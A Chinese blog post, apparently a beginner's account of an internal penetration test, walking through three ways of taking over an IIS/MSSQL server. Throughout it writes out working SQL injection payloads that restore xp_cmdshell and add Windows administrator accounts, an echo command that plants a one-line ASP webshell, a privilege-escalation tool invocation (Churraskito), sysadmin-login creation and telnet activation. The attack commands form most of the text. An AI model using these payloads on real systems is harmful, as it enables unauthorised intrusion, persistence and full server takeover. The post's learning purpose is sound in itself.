记一次内网渗透测试经历

Lani ·
更新时间:2024-11-13
· 786 次阅读

  话说刚开始接触安全测试时,没有一个系统的概念,前辈仍一个内网测试网站,让我把的shell拿下来,那我开始吭哧吭哧的干起来。   首先,做渗透测试要有个思路,不能埋头苦干。所以开始理了下思路,具体如下:   判断有无sql注入点,根据sql注入点来判断数据库类型,若是mssqlserver则查看存储过程xp_cmdshell 查看其是否被禁用,若没有被禁用,则直接在注入点后面直接使用xp_cmdshell 存储过程向系统中添加权限。   判断是否有上传漏洞,主要是上传asp等一句话脚本,先得到webshell,然后利用webshell再获取系统shell。   主要是利用sa,和第一种思路大致一样   主要这几种思路,下面开始实施。   首先,针对思路一:   既然是判断有无sql注入,方便的方法当然是使用工具进行扫描,这里我使用的是webcruiser,一个非常小巧的工具,当然我这里肯定能够扫描出sql注入漏洞,接下来当然可以继续用这个工具得到数据库等信息,而我在这里直接在该sql注入点是否能够执行xp_cmdshell。   具体方法是这样的:   确定数据库类型:   ?Id=1234;and (select count(*) from sysobjects)>0   得到当前连接名和数据库名,查看是否为sa连接。   ?id=1234;and user>0 (若显示dbo 则代表sa)。   ?id=1234;and db_name()>0,执行异常时,可以得到当前连接的数据库名。   查看xp_cmdshell是否被禁用。   ?id=1234;and (select count(*) from master.dbo.sysobjects where  xtype=”X” and name =’xp_cmdshell’)   若存储过程被删掉,则尝试恢复。   ?id=1234;and exec sp_addextendepro  xp_cmdshell,’xplog70.dll’   若出现下面的错误,可以尝试如下方法:   l 无法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。原因126 (找不到指定模块)。   首先执行,exec sp_dropextendeproc “xp_cmdshell” ,然后执行sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”   l 无法再库xpweb70.dll 中找到函数xp_cmdshell 原因127   首先执行 exec sp_dropextendeproc “xp_cmdshell” ,然后执行 exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”   则利用存储过程,执行添加用户的操作。   ?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”--  其中aaa为用户名,bbb为密码。   添加到管理员组:   ?id=1234 ;exec master..xp_cmdshell “net  localgroup administrators aaa/add ”   若想备份数据库,则采用:   ?id=1234 ;exec backup database 数据库名 to disk =’C:inetpub/wwwrootsave.db’,当然前提是知道web虚拟路径。   当然当知道web虚拟路径的时候,可以通过制造一个unicode 漏洞来完成对计算机的控制。   ?id=1234;exec master..xp_cmdshell “copy c:windowssystem32cmd.exe  c:inetpubscriptscmd.exe”   上面的主要是利用xp_cmdshell 方法来的,如果其中的方法不起作用,那另当别论了。

  针对思路二:   既然是通过上传一个文件,那么首先要做的工作是找各种上传路径,在前台摸索了半天也没有找到一个可以上传的功能,而后使用后台上传功能,通过找各种后台,其中发现个admin这个后台,无奈,用户名和密码均无法通过验证,从数据库里面看,也没有相应的用户名和密码,所以这个后台基本上是个无效的后台,没办法,眼看着上传这条路要失效了,此时我又使用了webcruiser 对整个网站扫描了下,发现该软件有cmd模式,而且能够执行成功,此时思路来了,既然应用程序前后台均无法上传,何不在这里直接使用cmd命令来建立一个asp文件呢?当然前提是要知道web虚拟路径在哪里。   一般情况下,web虚拟路径通常是这样的:C:inetpubwwwroot ;D:inetpubwwwroot  ;   或者E:inetpubwwwroot 等 这几个路径,而虚拟可以执行的目录一般是C:inetpubscripts ;D:inetpubscripts ; E:inetpubscripts   接下来,我在cmd命令下,直接执行一条命令:   echo ^<^%execute^(request^("eval"^)^)^%^>  c:inetpubwwwrootcms est123456.asp   在这个目录下,生成了个一句话木马asp文件,然后再使用菜刀连接,ok,webshell拿到。   得到webshell 不是主要的,而且webshell 也没有什么太大的作用,因此尝试使用webshell往相应目录传送我们的攻击文件,尝试了几个目录均没有发现可以执行的目录,在快要放弃的情况下,然后尝试了C:ecycle这个目录,发现可以上传可以执行的文件,下面简单了。   接下来的思路很简单,是上传一个后面软件,执行系统权限添加操作。在做到过程中,还是遇到了不少困难,例如,开始上传的瑞士军刀,想通过反弹端口来执行我们添加用户的操作,发现无法成功。   在后来,通过一些0day的溢出漏洞来取得系统权限,在网上搜罗了一大堆的0day软件,均发现不可以利用,后来看到“巴西烤肉”这款软件,英文名Churraskito.exe,这款0day溢出软件是如此的强大,而且我下的这个还么有后门,直接执行Churraskito “C:windowssystem32cmd.exe ” “net user 111 111/add”成功添加用户,哈哈,当然如果你想加到管理员组,在使用Churraskito “C:windowssystem32cmd.exe ” “net localgroup administrators  111 /add” 基本上ok了,至此,一个简单的获取系统权限的渗透测试算完成了。   这里直接用webcruiser 中的cmd命令,直接执行添加用户操作可以了,省去了后面的一系列操作。擦得,后来才想到的,唉。。。   思路三:   既然可以执行,未必非要xp_cmdshell ,我们可以通过尝试sa,这个操作,例如,先在数据库中建立一个用户,然后把该用户提升为sysadmin,之后在使用查询分析器连接,当然还是要使用xp_cmdshell 的存储过程。   具体方法如下:   首先建立数据库用户:   ?id=1234;exec master.dbo.sp_addlogin user;   当然也可以为这个用户赋予密码,其实无所谓,如果赋予密码的话,这样操作:   ?id=1234;exec master.dbo.password null ,password ,user;   这里的null是旧密码,password 为新密码。   然后将该用户提升权限:   ?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;   提升成功后,可以通过查询分析器连接,连接成功后,直接查看xp_cmdshell是否能用;如果能用,则直接提升权限操作,;例如:   Xp_cmdshell ‘net user’   Xp_cmdshell ‘net user test123 test123 /add’   Xp_cmdshell ‘net localgroup administrators test123/add ’   Xp_cmdshell ‘net user test123 /del’   等。   开启telnet服务:   Xp_cmdshell ‘net start tlntsvr’   总结:   在这期间,我知道了webshell 和shell 不是一回事,也知道了xp_cmdshell是可以获取系统权限的,也知道了 有些工具是可以执行cmd命令的,当然我也初步了解下瑞士军刀 巴西烤肉等一系列攻击工具的用法,当然也了解到一些系统是可以被0day的。虽然这次渗透还有很多没有了解的地方,虽然只是大致的了解下,但是,对以后这方面,应该有个很好的思路以及借鉴。安全这块,任重而道远,以此勉励自己。



渗透测试 内网渗透 测试

需要 登录 后方可回复, 如果你还没有账号请 注册新账号
相关文章